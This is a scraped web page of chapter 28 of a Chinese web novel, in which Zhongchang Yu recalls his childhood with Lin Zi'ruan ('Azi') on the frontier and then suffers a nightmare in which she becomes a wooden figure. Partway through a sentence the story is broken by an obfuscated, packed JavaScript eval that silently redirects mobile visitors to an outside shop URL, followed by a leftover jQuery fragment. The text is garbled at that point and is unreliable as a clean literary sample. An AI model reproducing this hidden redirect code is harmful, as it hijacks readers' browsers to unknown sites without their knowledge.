文趣网 > 其他小说 > 剧情补丁成精中 > 28. 第 28 章
    那应该是来到塞外的第二个冬天,仲长昱再一次独自走在雪地中,这次他并非漫无目的,而是载满了兴奋。

    他怀里似乎抱着什么,捂得很紧,生怕一不小心,外面的风就弄脏了它。

    “阿昱。”熟悉的声音自身后响起,拦住他的去路。

    仲长昱猛地刹住朝声源看去——林自阮站在那里,和往常一样朝他招手。

    “看,”他兴致勃勃地冲到林自阮面前,将怀里的东西举到她面前——一块精面烤的饼,算不上什么特殊的玩意儿,但对于他们这批扎在冰天雪地里的冰碴来说倒也能说上一句好东西。

    “我按你说的去找那个将军了,他给我的。”小小的孩子满脸兴奋,即使手被冻得通红也不肯往袖子里缩上一些。

    然而林自阮并没有去接,而是伸手贴上他的脸颊。

    “嘶——”

    原本麻木的伤口回温后传来阵痛,仲长昱咧着嘴将饼抱回怀里,然后才小心翼翼地抬头。

    “你跟那个大的打架了。”林自阮并没有询问,就好像只是在陈述一个事实。

    “没事!我、我不怕疼的。”不知是出于什么心理,他挣开了林自阮,然后将伤口完整地暴露出来。

    他不知道林自阮是怎么知道的,但看着那双平静的、毫无波澜的眼睛,他总觉得……她好像什么都看见了。

    所以还没等林自阮开口,他自己先失了底气试图把伤口遮掩起来:“对不起,我不是故意的,是、是他们——”

    他想要狡辩,但是林自阮看起来并不想跟他争论这个问题。

    那时候的林自阮远没有现在体贴,会为所有人找好借口,她有的只是事实,以及基于事实所推测的一切。

    半蹲下来让自己的眼睛跟仲长昱齐平,林自阮毫不留情地撤下了他尽力遮掩的过程:“你溜进了运粮的队伍里主动帮人站岗,那人经常要你替他,所以他很理所当然地偷懒了。”

    “然后你在运粮的车边放了火,假装是走水等在路上。”

    “你也看见是那个将军身边的孩子先出来,但你没躲,告诉他是你放的。”

    “你知道这些话不管谁听见都会生气,所以就告诉他、激怒他、让他动手,把自己放在‘不是故意’上,这样他们就怪不了你,毕竟火在空地上,你只是想取暖。”

    “然后你们打起来,那个将军出来拉架,你告诉他不应该是你站岗,你没有厚衣服,又冷又饿。”

    “这是他赔给你的。”

    她每说一句,仲长昱心底就空一分,到最后他耳边只剩下树枝因挂不住雪而断裂的声音。

    过了许久,他才听见林自阮的声音,先是一声叹息,然后带着些许无奈:“你没必要把自己弄成这样,也没必要用这些伤证明什么。”

    “我说过了,只要你想,我什么时候在都行。”

    “你撒谎!”仲长昱忽然撒手将人推开,就连手里的饼摔在雪上也没在意,“我从来都没有找到过你,一直都是你自己带着东西出来,问你什么都是捡的捡的捡的,我也是捡的,我、我也是……为什么不能带我去找其他东西!”

    身边响起一阵悉悉索索的声音,林自阮弯腰捡起那块饼坐下,然后拍了拍旁边松软的雪地示意他也坐。

    见他別过头去,林自阮也不强求,只是掰了块饼塞进嘴里:“凉了啊。”

    等抽泣声逐渐弱了下来,她伸手把饼递过去:“不过味道还不错。”

    “不尝尝吗?你饿了很久,好不容易拿到的。”

    似乎是在回应她的话,仲长昱的肚子也适时发出咕噜声。

    “你怎么知道的?”一口气把饼啃了个精光,仲长昱最后还是坐在她身边,将脸埋在胳膊上闷闷地问道。

    “我猜的。”

    “骗子。”仲长昱再次別过脸,但没过多久又忍不住把脸扭了回来,“那我的名字也是猜的吗?”

    “不是啊。”林自阮回答。

    她捡了根树枝在地上一笔一画把“昱”字写下来,然后继续:“我挺喜欢这个字的,你不喜欢吗?”

    “不喜欢的话,就给自己挑个喜欢的字好了。”

    仲长昱没有说话。他只是低头看着雪地上那个歪歪扭扭的“昱”字,看了很久。

    直到雪一点一点把那个字重新填满,他才重新开口:“那你呢?你甚至从来没有告诉过我你的名字。”

    “名字啊……”林自阮撑着头用树枝在地上戳出来一个“阮”字。

    但她很快又把这个字划掉换了一个字:“我姓……林。”

    写完之后她盯着那个字看了许久,好像一不留神,字就会变了一样。

    “至于名字嘛……看你喜欢,辛娘、十四娘、涂山、阿紫——”

    “阿紫,”一直安安静静盯着地上那两个字的仲长昱忽然打断了她,“阿紫可以吗?”

    “可以啊。”林自阮回答。

    她微微仰着头,手指在膝旁一下又一下轻点,似乎在等待着什么。

    哒、哒、哒……

    仲长昱见她好一阵不动,忍不住凑上前唤了声:“……阿紫?”

    闻言,林自阮这才从嘴里发出一声轻笑:“看来也不会怎么样嘛。”

    那之后的事仲长昱不太记得,只记得后来阿紫又带他回了家,阿紫的家,那个温暖的、永远停留在春日的木屋和屋里成堆的、当时的他看不懂的话本。

    他会跟在阿紫身后,一边走一边向她讲述自己最近的经历。脚下积雪随着言语消隐,等他讲得差不多了,周围就暖和起来,开始有了绿意。

    那是阿紫的房子,阿紫会在那儿教他识字,给他讲那些他从未见过的——街市夜空里各式各样的花灯,楼阁上飘荡着的歌声琴声,以及人们穿着他叫不出名字的、亮晶晶的衣裳。

    阿紫喜欢漂亮的衣裳。

    所以在他按阿紫说的那样慢慢得到梁城的赏识,拿到第一份属于自己的奖赏时,他送给阿紫的第一件礼物便是件漂亮的夹袄。

    可是当他把这件礼物送出去时,阿紫看起来似乎并不开心,她只是伸手去接,就像捡起那张饼时一样。

    啪——

    那件衣服穿过了她伸出来的手摔在地上,仲长昱的表情也突然凝固在脸上,然后不顾一切地朝前面扑去。

    可那里什么都没有,他也只是跟那件衣服一起摔在地上。

    “阿紫!”

    骤然惊起,仲长昱感觉眼前一片黑暗。

    周围散着他熟悉的冷香,湿漉漉的,混着点木质的香调。

    冷汗顺着脸颊滚落到锁骨,然后又因为胸腔猛烈的起伏成为寝衣上一小片被洇湿的痕迹。

    还好、还好只是一场梦。

    阿紫一直陪着他,他送的每一件礼物阿紫都很喜欢。

    激烈的喘息声逐渐平息,仲长昱再度躺下,把身旁的人揽进怀里。

    “阿紫……我又梦到你不要我了。”他的声音沙哑、沉闷,带着几分说不清道不明的委屈,“你答应过,会永远陪我。”

    他将脸埋在身边人的颈窝絮絮叨叨说了许久,说他这段时间在做了什么、谁妨碍他、他怎么解决,说到他自己都有些

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498804|202632||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    困倦,但他还是撑着眼皮抬头去瞧,就像以前一样。

    然而他却没有看见他熟悉的阿紫,映入眼帘的只有一头破布一般的发,以及头发下面无法辨认的……脸?

    仲长昱不确定,但那确实是一个脑袋的形状,只不过是用木头换了血肉,雕刻出眉眼和那似是上扬、又似乎只是木纹的嘴角。但它又没有完成,只能依稀从上面看出五官,无法具体辨认。

    他急忙凑近,想要确认,想要看得清楚些,想找到一些玩笑的痕迹,然而随着他的起身,怀里的人顺着被褥零零散散地滑到地上,发出清脆的碰撞声。

    “阿紫!”

    仲长昱忙追上去捡,任凭寝衣随着他狼狈的动作大大咧咧地敞开,灌进大口冷风。

    风?

    哪里来的风?

    仲长昱猛地停下手上拼凑的动作抬头,随着殿门吱呀一声,一个人影从外面探出头来。

    “阿昱,我在呢。”阿紫的话里还带着笑,像是笑他胆小,笑他患得患失,笑自己的玩笑成功吓住了他,仿佛这一切都只是她的一场恶作剧。

    “你去哪儿了,我以为、以为……”仲长昱的声音听起来有些哽咽,他驱使着发麻的双脚站起来朝门外走去,但总觉得腿上似乎灌了铅,迈不开、走不动。

    他朝门口的人影伸出手,但她没有要过来的意思,就单单站在那里笑,嘴里说着……

    阿昱,我在呢。

    那为什么我碰不到你?

    仲长昱想要去问,但一张嘴就被风灌满,冰冷的、像尖刺一样刺穿他的喉咙,让他发不出任何声音,只能徒劳地伸手去够眼前那个人影。

    “阿昱,我在呢……”

    “阿昱,我在呢……”

    “阿昱……”

    耳旁的声音重复着这一句话,一遍又一遍,仲长昱只觉得这声音每重复一次,自己就下沉一分,直至砖石淹没头顶,四周完全归于黑暗,他也依旧逃不过那一声声“阿昱”。

    “阿昱……”

    “阿昱、阿昱?”

    “醒醒,阿昱,你做噩梦了吗?”

    “脸色好难看啊。”

    有什么东西在撕扯着他,将他拉得左摇右晃,仲长昱挣扎着睁开眼,瞪大眼睛看着床顶承尘上的花纹出神。

    “阿昱?”一缕青丝随着林自阮俯身垂落在他脸颊,她眼里带着关切,伸手去摸他的额头,“没事的阿昱,我在呢。”

    啪——

    悬在半空中的手被人握住,仲长昱猛地翻身将人压在身下,然后死死盯着。

    “阿昱?”看着他额角的汗珠,林自阮有些困惑。

    伸出另一只手替他拭去额角冷汗,林自阮顺势抚上他的脸颊:“梦到什么啦?吓成这样。”

    仲长昱就这样盯着她的脸看了许久,许久之后才慢慢松开手。

    “对不起,我……”他缓缓沉下身子将林自阮拥进怀里,抱了很久,久到林自阮以为他又睡着了。

    然后,她听见了仲长昱沙哑的声音:“我找不到你。”

    “怎么会呢?我不是一直在这儿吗?”

    仲长昱没有回答这个问题,只一味抓着林自阮的手,将她的手放在自己脸颊反复摩挲着。林自阮也没有继续追问,就这样由着他。

    前半夜仲长昱带过来的野兔早已被下人收了起来,但那股血腥味仍残留在屋子里,即使点了熏香也难以完全遮掩,反倒是跟仲长昱梦里的气味愈发接近,不断拉扯他的思绪让他无法入眠。

    林自阮也不问,就安安静静陪他躺着,一直到天蒙蒙亮。